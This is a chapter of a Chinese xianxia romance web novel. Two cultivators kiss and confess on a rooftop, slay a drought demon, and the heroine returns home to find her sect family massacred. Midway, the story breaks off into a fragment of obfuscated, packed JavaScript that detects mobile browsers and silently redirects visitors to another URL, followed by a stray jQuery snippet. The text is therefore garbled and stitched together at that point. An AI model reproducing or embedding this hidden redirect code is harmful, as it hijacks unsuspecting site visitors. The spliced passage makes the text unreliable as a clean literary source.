谢灼眼底翻涌着暗潮,靠近时却带着迟疑,仿佛在触碰一场易碎的梦境。
他身上清冽的气息混合着淡淡的酒香,以及风雪拂过的微寒,将沈祭雪悄然笼罩。
远处烟花的轰鸣变得模糊,唯有彼此逐渐交错的呼吸声,清晰可闻。
他的唇先是轻轻擦过她的唇角,见她没有抗拒,那触碰才缓缓印实,落在了她的唇上。
冰凉,柔软,带着一点微醺气息。
极其轻柔的触碰,浅尝辄止。
谢灼微微退开些许,眼眸低垂,心跳如擂鼓,撞击着胸腔,震得他耳膜发疼。
沈祭雪的眼睫轻轻颤动了一下,陌生而强烈的悸动从方才相贴的唇瓣缓缓蔓延至心口。
她生性不喜与人亲近,但此刻,这过于亲密的接触却并未引起预想中的反感。
反而……有种奇异的熟悉感,仿佛本该如此。
她微微仰头看着他,眸色比夜色更深。而后抬手,勾起他的脸,俯身吻了上去。
谢灼的呼吸猛地一窒。
冰凉被温热覆盖,轻柔被深入取代。
唇齿交缠间,呼吸变得滚烫而急促。面具不知何时被丢在了一旁的积雪里。他修长的手指插入她的发丝,让她更贴近自己。
这个吻变得深入而绵长。
直到远处又一簇烟花炸响,金色的光芒泼洒而下,将屋顶相拥亲吻的两人照得清晰无比。
谢灼才像是骤然惊醒般,猛地松开了她。
他张了张嘴,想说什么,却一时失语。
沈祭雪却先开了口,声音比平时柔和了些:“亲够了吗?”
谢灼:“……”
没等他回答,沈祭雪微微蹙眉,又低声说了一句:“有点喘不过气。”
谢灼低低地笑出声,神色颇为无奈。
“嗯,我的错。”他从善如流地道歉。
沈祭雪点了点头,接受了他的说辞。而后视线越过他,又看向空中开始绽放的烟花。
谢灼看着她,觉得自己的心软成了一滩春水,于是又轻轻唤了一声:“沈祭雪。”
沈祭雪偏过头看他。
谢灼就笑了:“没事,就是在想,如果我们早点遇见,会是什么样子。”
沈祭雪默了默,迟疑道:“也许会斗得你死我活,两败俱伤。”
“……不会的。”
谢灼伸出手,与她十指相扣,眼中仿佛倒映着漫天星辰,笃定道:“我们会更早在一起,会有更多的好时光。”
“在遇见你之前,我总觉得,岁月漫长,世间一切不过籍籍。”
“后来我才明白,或许我历经数年光阴,辗转流离,都只是为了遇见你。”
“所以,不管你怎么看我,是否在意,我都要告诉你。”
“沈祭雪,我爱你。”
“好,……我知道。”
……
次日清晨。
雪后初霁,阳光透过窗棂,在地上投下明亮的光斑。
谢灼几乎一夜没睡,早早起身,在廊下徘徊了许久,终于看到沈祭雪的房门打开。
她换了一身素净的衣裙,墨发用一根简单的玉簪挽起,神色如常。
谢灼的心提到了嗓子眼,仔细观察着她的表情,试图从中找到一丝一毫的异样。
沈祭雪转动眼眸,看向他,似乎有些不解他为何这样盯着自己。
谢灼闭了闭眼,决定单刀直入,不给她否认的机会:“那个……我们昨晚……在屋顶……你还记得吗?”
沈祭雪整理了一下衣袖,闻言动作顿了顿,抬眼看他,眼神平静无波:“记得。”
“你亲了我。”
“我也亲了你。”
“你说你爱我。”
“我想了一夜,觉得很好。”
“我很开心。也许是因为我也爱你。”
谢灼:“!”
他没想到她承认得如此干脆利落,愣了好一会儿,才又低声道:“那你以后……会不会后悔?”
沈祭雪静静地看着他,认真思考他的问题。然后,她开口:
“我酒量不错,昨夜也并没有喝醉。”
谢灼一愣。
她继续道:“亲你的时候,感觉很不错。”
谢灼的眼睛一点点亮起来。
然后,沈祭雪用最正经的表情,说出了最大胆的话:“而且,现在想想也很高兴。”
她顿了顿,看向他,眼里莫名带了些期待:“所以,找个时间再来一次。可以吗?”
谢灼:“……”
他彻底僵住了,所有的忐忑不安,怀疑猜测,在她这番言论面前,显得可笑又多余。
脸颊耳根不受控制地开始发烫,谢灼猛地别开脸,抬手抵在唇边,低低地咳嗽了一声,试图掩饰自己瞬间失控的心跳。
这这这……这人怎么完全不按常理出牌啊!
就在这时,院门外传来一阵轻快的脚步声,还伴随着一声清越的呼唤。
“小祭,我回来了!”
一道身影风风火火地踏入院子。来人一身靛蓝色衣裙,身形高挑,云鬓微松,斜插着一根乌木簪,眉眼间带着几分倦色,是沈荷。
“师父。”沈祭雪转身,恭敬行礼。
谢灼也迅速收敛了心神,拱手道:“前辈。”
沈荷目光在两人身上扫了一圈,眼中掠过一丝了然的笑意,并未多问,只是道:“正好,谢小子也在。省得我再去寻你。”
她神色稍正,说道:“我刚从江左一带回来。那边似有旱魃作祟,河流干涸,田地龟裂,当地修士束手无策,向我们求援。”
旱魃乃致旱之怪,所行之处赤地千里,忽而出现,颇为蹊跷。
沈祭雪闻言,神色一凛:“师父的意思是?”
“你带几个人去一趟,查明情况,若能解决,便为他们除去祸患。”沈荷看向沈祭雪,又瞥了眼谢灼。
“谢小子若是有空,便同小祭一起去吧,彼此有个照应。”
谢灼道:“自然。”
“好,事不宜迟,你们准备一下,今晚出发。”沈荷摆摆手,吩咐道。
临行前,沈荷将沈祭雪叫进了自己的屋子。
房门一关,沈荷抱着手臂,似笑非笑地看着自己的徒弟:“说说吧,你跟谢灼,怎么回事啊?我怎么瞧着气氛不太对劲。”
沈祭雪倒是没有任何扭捏,答道:“我们表明心意,亲了。”
饶是沈荷做了心理准备,也被她这过于直白的回答噎了一下。
她咳嗽两声,稳住表情,忽然笑了起来,“行吧,你们年轻人的事……既然如此,等你们从江左回来,若彼此心意未变,师父给你们办道侣大典。”
沈祭雪闻言颔首,唇角微扬,应道:“好。”
“去吧,万事小心。”沈荷挥挥手。
“弟子告退。”沈祭雪行礼,转身退出了房间。
来到院中,谢灼正等着她,见她出来,挑眉投来询问的眼神。
沈祭雪走到他面前,看了他一眼,无奈道:“师父问我们怎么回事。”
谢灼心一提:“你怎么说?”
“我照实说了。”
谢灼:“……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705664|189199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“然后呢?”他追问,心里莫名有些紧张。
沈祭雪继续道:“然后,师父说,等我们从江左回来,就办道侣大典。”
谢灼猛地怔住,瞳孔微微放大,几乎不敢相信自己的耳朵。
他一时失语,愣愣地看着沈祭雪。
沈祭雪看着他,偏了偏头,似乎有些不解:“你不愿意?”
“不不不不,愿意,当然愿意。”
“那就好。”
……
江左的情况比预想的更为严峻。
那旱魃是由古战场积聚的怨气与地火结合所生。大地干裂,禾苗枯焦,烈日灼灼,空气中弥漫着绝望焦灼的气息。
两人抵达后,并未费太多周折便寻到了它的踪迹,战斗也并无太多悬念。
沈祭雪一剑洞穿了旱魃的胸口,将其生机彻底斩灭,笼罩在江左的炽热渐渐消散。
当地的百姓感激涕零,想要酬谢二人,却被他们婉拒。
年关将近,事情已了,两人启程返回。
途经一处繁华城镇,谢灼忽然停下脚步,对沈祭雪道:“……我想先离开几日。”
沈祭雪看向他。
谢灼笑了笑,眼底带着抑制不住的明亮光彩:“那个……道侣的事……我想告知几个好友,顺便……备些礼物。”
沈祭雪看着他,点了点头:“好。”
两人在江左境外分别。
沈祭雪独自一人回到沉鱼峰时,正值黄昏。
夕阳的余晖将雪地染上淡淡的暖橙色,山林寂静。
然而,越靠近峰顶的院落,她心中那股莫名的违和感就越重。
太安静了。
往日这个时候,沈溪应该在厨房忙碌,双胞胎或许在院中练剑嬉闹,沈二十三在一旁指导,沈闻琴或许在廊下擦拭他的琴……
但此刻,没有炊烟,没有声响,只有一片死寂。
空气中,似乎隐隐飘散着一股……若有似无的血腥气。
沈祭雪的脚步顿住了。
她站在院外,缓缓推开了门。
入眼是极刺目的红色。
院子里,一片狼藉。
桌椅翻倒,沾满了暗红色的血渍。
沈二十三倒在她平日里练功的地方,身下一大片血泊,双目圆睁,手里还紧紧攥着半截断剑。
双胞胎倒在通往屋子的台阶上,身体蜷缩着,身下的血色触目惊心,木剑落在一旁。
沈溪倒在厨房门口,手里还抓着一把择了一半的野菜,鲜血染红了地上的积雪和枯叶。
更远处,沈闻琴倚在廊柱上,胸口一个巨大的血洞,早已气息断绝,脸上还带着惊愕与不甘。
所有人……都倒在了血泊里。
满地血腥,惨烈得如同炼狱。
夕阳的余晖洒落下来,却带不来丝毫暖意,只有一片死寂的冰冷。
沈祭雪站在原地,白衣在风中微微拂动。她看着眼前的一切,脸上没有任何表情,眼中只有一种极致的空茫。
她慢慢地,一步一步地走进院子,踩过凝固的血泊,俯下身,探向离她最近的沈二十三的颈侧。
冰冷。僵硬。
没有任何生机。
她又探向双胞胎,探向沈溪,探向沈闻琴……
全都一样。
她缓缓直起身,站在庭院中央,寒风卷过,吹动她白色的衣袂。
沈祭雪站在原地,一动不动。
整个世界的声音仿佛都消失了。
耳畔只剩下一片沉寂。
和眼前那片,铺天盖地的,粘稠的,冰冷的红。